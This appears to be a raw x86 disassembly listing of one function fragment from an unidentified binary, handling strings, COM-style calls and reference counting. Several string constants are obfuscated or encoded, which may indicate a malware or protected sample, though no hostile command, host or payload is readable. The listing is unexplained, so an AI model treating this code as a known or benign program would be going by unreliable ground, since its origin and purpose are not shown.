mov dword [ebp - 0x64], esi
jb 0x520610
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52062c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520660
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520656
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f9b
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520f03
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5206a0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00523410
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.00448180
add esp, 0x14
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fa0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.Sl9xckdC
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xd
call fcn.0042c390
test al, al
jne 0x5207a8
push 8
push str.Sl9xckdC
lea ecx, [ebp - 0x3c]
call fcn.0042c6d0
mov byte [ebp - 4], 0xe
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522faa
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
push str.Sl9xclJna2M
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xf
call fcn.0042c390
test al, al
jne 0x5207ec
push 0xc
push str.Sl9xclJna2M
lea ecx, [ebp - 0x40]
call fcn.0042c6d0
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5bb278]
lea ecx, [ecx - 0x10]
call fcn.0042ba50
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004422b0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x11
call fcn.00431bf0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00432dd0
lea ecx, [ebp - 0x1a0]
call fcn.00431b70
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fb4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042c390
test al, al
jne 0x5208db
test esi, esi
jne 0x5208be
xor ecx, ecx
jmp 0x5208d2
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x5208c3
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042c6d0
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x44], eax
call fcn.0042ba50
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004422b0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.00445270
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042bc90
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5bb278]
lea ecx, [ecx - 0x10]
call fcn.0042ba50
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004422b0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.00431bf0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00432dd0
lea ecx, [ebp - 0x1a0]
call fcn.00431b70
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fbe
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042c390
test al, al
jne 0x520a18
test esi, esi
jne 0x5209f8
xor ecx, ecx
jmp 0x520a0f
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x520a00
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042c6d0
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042ba50
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004422b0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.00445270
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042bc90
mov byte [ebp - 4], 0x1d
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fc8
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fd2
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push 0x586f88
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x1f
call fcn.0042c390
test al, al
jne 0x520ac7
push 0x44
push 0x586f88
lea ecx, [ebp - 0x38]
call fcn.0042c6d0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x7c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gOHkgbWRkY3AgOHkgbWRkY3BHbGRtIDh5IHNwaiA4ICN1cSAqIG1nYiA4I3VxKiBtcnduYyA4ICN1cSB7eyogcWZtdV11Z2xibXUgOCBtZGRjcCB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042abe0
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x21
call fcn.00431bf0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
mov eax, dword [ebp - 0x70]
cmovae ecx, dword [ebp - 0x80]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00432dd0
lea ecx, [ebp - 0x1a0]
call fcn.00431b70
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea ecx, [ebp - 0x298]
cmovae eax, dword [ebp - 0x60]
mov dword [ebp - 0x48], eax
call fcn.00431bf0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x298]
call fcn.00432dd0
lea ecx, [ebp - 0x298]
call fcn.00431b70
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1a0]
cmovae edi, dword [ebp - 0x130]
call fcn.00431bf0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00432dd0
lea ecx, [ebp - 0x1a0]
call fcn.00431b70
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042bb40
lea ecx, [ebp - 0x24]
call fcn.00442050
mov byte [ebp - 4], 0x28
push dword [ebp - 0x48]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041eac0
mov edx, dword [ebp - 0x24]
or edi, 0xffffffff
add esp, 0x2c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520c5d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042bc90
lea ecx, [ebp - 0x130]
call fcn.0042bc90
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x21
call fcn.0042bc90
mov eax, dword [ebp - 0x34]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x48], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042ba50
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004422b0
mov ecx, dword [ebp - 0x48]
add esp, 4
call fcn.0045bf90
mov eax, dword [ebp - 0x34]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042ba50
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045bf90
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x520d24
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520d1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522fdc
push ecx
push edx
call fcn.00546919
add esp, 8
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520d3e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520d55
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520d6c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x520d81
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x520db5
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520dab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522fdc
push ecx
push edx
call fcn.00546919
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x520e01
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520df7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522fdc
push ecx
push edx
call fcn.00546919
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x520e56
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520e4c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522fdc
push ecx
push edx
call fcn.00546919
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x520eab
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520ea1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522fdc
push ecx
push edx
call fcn.00546919
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x522f01
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fe60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522fdc
jmp 0x51fe60
mov edx, 0x5b67a8
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x520f55
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520f20
sub ecx, dword [ebp - 0x24]
je 0x520f55
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520f55
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520f40
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520f5c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520f90
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520f86
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522fe1
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52122e
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520fd0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00523410
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522fe6
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x2c
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522ff0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x2e
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x522ffa
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x30
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x523004
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x52300e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x9c]
call fcn.004458f0
mov esi, dword [ebp - 0x34]
add esp, 0x14
mov ecx, 0x5bb33c
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00420230
mov edi, dword [ebp - 0x6c]
cmp byte [edi + 0xd], 0
jne 0x523018
lea eax, [edi + 0x10]
push eax
push esi
call fcn.00424160
test al, al
jne 0x523018
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042ba50
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x68], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042ba50
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov dword [ebp - 0x84], esp
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.0042ba50
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042ba50
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x6c], esi
mov edi, dword [ebp - 0x20]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042ba50
mov ecx, dword [ebp - 0x48]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.004065c0
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5211ce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5211e5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5211fc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521213
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x520ec6
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x520ec6
mov edx, 0x5b68c8
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x521285
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521250
sub ecx, dword [ebp - 0x2c]
je 0x521285
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521285
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521270
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52128c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5212c0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5212b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522fdc
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x521482
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521300
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523410
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x523022
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x52302c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x3d
call fcn.0042c120
mov ecx, eax
test ecx, ecx
je 0x523036
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.00449660
mov eax, dword [ebp - 0x34]
add esp, 4
mov esi, esp
mov dword [ebp - 0x6c], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042ba50
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042ba50
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042ba50
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042ba50
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.004068e0
mov edx, dword [ebp - 0x2c]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52144d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521464
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x520ec6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x520ec6
mov edx, 0x5b66e8
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x5214d5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5214a0
sub ecx, dword [ebp - 0x2c]
je 0x5214d5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5214d5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5214c0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5214dc
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x521510
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521506
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522fdc
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5217ae
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521550
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523410
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x58a2f0
call fcn.00429420
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
call fcn.005468e9
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x70], eax
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.004444f0
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [esi + 0xc]
call fcn.00414030
mov eax, dword [ebp - 0x70]
push dword [eax + 4]
lea eax, [ebp - 0x70]
push eax
mov ecx, eax
call fcn.00450160
push 0x2c
push dword [ebp - 0x70]
call fcn.00546919
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x5216bf
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5bb260
call fcn.0042bb40
lea ecx, [ebp - 0x2c]
call fcn.00442050
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x521706
test cx, cx
je 0x521702
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x521706
add eax, 4
add edi, 4
test cx, cx
jne 0x5216e0
xor edi, edi
jmp 0x52170b
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521726
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x521793
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.0042abe0
push 1
push ecx
